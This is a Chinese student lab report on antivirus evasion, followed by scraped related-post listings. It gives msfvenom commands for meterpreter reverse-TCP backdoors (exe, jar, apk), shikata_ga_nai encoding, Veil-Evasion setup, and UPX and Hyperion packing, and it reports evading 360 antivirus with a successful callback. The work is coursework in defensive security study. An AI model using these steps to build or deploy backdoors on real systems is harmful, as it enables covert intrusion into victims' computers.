网络对抗技术 20165220 Exp3 免杀原理与实践
实验任务
1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
(1)杀软是如何检测出恶意代码的?
一种检测是检测特征码,就是检测该代码是否含有恶意代码都含有的一段代码,只要包含这段代码就被认定是恶意代码;
还有一种是检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等,若有这些异常行为,则认定为恶意代码。
(2)免杀是做什么?
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
(3)免杀的基本方法有哪些?
有msfvenom编码、使用veil-evasion等重写恶意代码、利用shellcode生成可执行文件、加壳等方法。
实验过程
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器msfvenom生成后门程序
实验二中生成过一个后门程序,gyh_backdoor.exe,把它放到virscan网站中扫描

不加处理的恶意代码能被绝大多数杀毒软件识别。注意这里好像不能带有数字,那样没办法上传扫描!
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.24.134 LPORT=5220 -f exe > met-encoded10.exe指令进行十次编码

将生成的后门程序使用virscan进行扫描

多次编码对免杀并没有太大效果,依旧能被绝大多数杀毒软件检测出来。
使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.24.134 LPORT=5220 x> 20165220_backdoor_java.jar指令,生成jar类型的后门程序。

使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.24.134 lport=5220 x> 20165220_backdoor.apk指令,生成Android后门程序,此时其为安装包。

使用veil指令,启用veil;

用use evasion命令进入Evil-Evasion

使用use c/meterpreter/rev_tcp.py指令,进入配置界面;

使用set LHOST 192.168.24.134指令和set LPORT 5220指令,设置反弹连接IP和端口;

输入generate指令,生成文件,再输入生成的playload的名字:playload5220

并使用virscan进行扫描。


还是一样的会被检查出来。
使用加壳工具生成后门程序
输入upx playload5220.exe -o playload5220_upx.exe指令,给生成的后门程序加壳;

使用virscan进行扫描。

进入目录/usr/share/windows-binaries/hyperion/中,输入wine hyperion.exe -v playload5220.exe playload5220_hyperion.exe指令,给生成的后门程序加壳;

使用virscan进行扫描。

使用shellcode编程生成后门程序
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.24.134 LPORT=5220 -f c指令,生成一段shellcode;

创建20165220.c文件,在其中输入:

输入i686-w64-mingw32-g++ 20165220.c -o 20165220.exe指令,编译运行;

老规矩

通过组合应用各种技术实现恶意代码免杀(1分)
- 使用MSF meterpreter生成shellcode,对生成的文件使用UPX加壳处理,尝试实现免杀。 
- Windows上的杀毒软件为:360安全卫士 


即实现免杀完成!!!

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

舍友主机360版本

免杀成功

回连成功!
离实战还缺些什么技术或步骤?
本次实验我们只是简单的对文件进行加壳隐藏特征码来免杀,但是现在的病毒库更新速度很快,应该学会结合多种技术来免杀,如结合加壳,更换编码,修改程序入口,隐藏恶意软件共有的行为等来进行免杀。
我们仍然需要不断进步,现在只掌握了一点皮毛而已。
实验遇到的问题及解决方法
在安装veil evasion的时候展开包一直失败
解决办法:输入代码
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
这个好像跟版本有关系,我的完美解决~
开启杀软能绝对防止电脑中恶意代码吗?
试验后肯定不行啊,制作shellcode、加壳等技术手段的综合,就可以达到免杀的目的,对于一些技术高超的人简直是轻而易举的
实践总结与体会
这次做完后表示再也不相信360这种的了,感觉很轻松就绕过了360的查杀,对于免杀真的有所了解跟体会,所以我们才要不断学习进步,才能越来越好吧~
因此以后下载软件要尽量从正版源下载,减少被植入后门的几率。有机会再多多留意这方面的知识~
网络对抗技术 20165220 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ... 
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ... 
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ... 
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ... 
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
		- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ... 
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
		2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ... 
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ... 
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ... 
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ... 
随机推荐
- 汇编语言笔记v1.0
			1.loop的用法 loop指令的格式是:loop标号,cpu执行loop指令的时候,要进行两步操作 1:(cx)=(cx)-1 2:判断cx中的值,不为零则转至标号处执行,如果为零,则向下执行 这里 ... 
- windows7 64位使用anaconda傻瓜式安装tensorflow
			1.下载anaconda并一键安装 登录网页:https://www.anaconda.com/download/ 这里选择Python3.6 version 64-Bit Graphlcal Ins ... 
- react native 中时间选择插件
			npm install react-native-datepicker --save import DatePicker from 'react-native-datepicker'; <Vie ... 
- windows安装解压版mysql
			记录下用批处理安装mysql5.7.18的过程与踩到的坑 先在安装目录新建文件my.ini [mysql] default-character-set=utf8 basedir=TODO datadi ... 
- css悬浮提示框
			效果图: code: <!DOCTYPE html> <html lang="en"> <head> <meta charset=&quo ... 
- VS2012发布网站详细步骤问题
			http://blog.csdn.net/mrobama/article/details/43118387 
- shell编程练习-打印九九乘法表(附:awk编程)
			小练习,仅供参考 shell编写 #!/bin/bash for i in {1..9}do for j in {1..9} do if [ $j -le $i ] ;then echo -ne &q ... 
- go语言map操作
			package main import "fmt" func main() { var m = map[int]string{ 90: "优秀", 80: &q ... 
- SpringJUnit4ClassRunner (单元测试)
			1.在Maven的pom.xml中加入 <dependency> <groupId>junit</groupId> <artifactId>junit& ... 
- java内部类:成员内部类,静态内部类方法内部类,匿名内部类(A)
			package cn.kecheng; /** * 在java中,一个文件可以定义多个类,文件名必须和public 类型的类的类名保持一致.这两个类是平行关系. * 在java中,一个类也可以定义在一 ... 
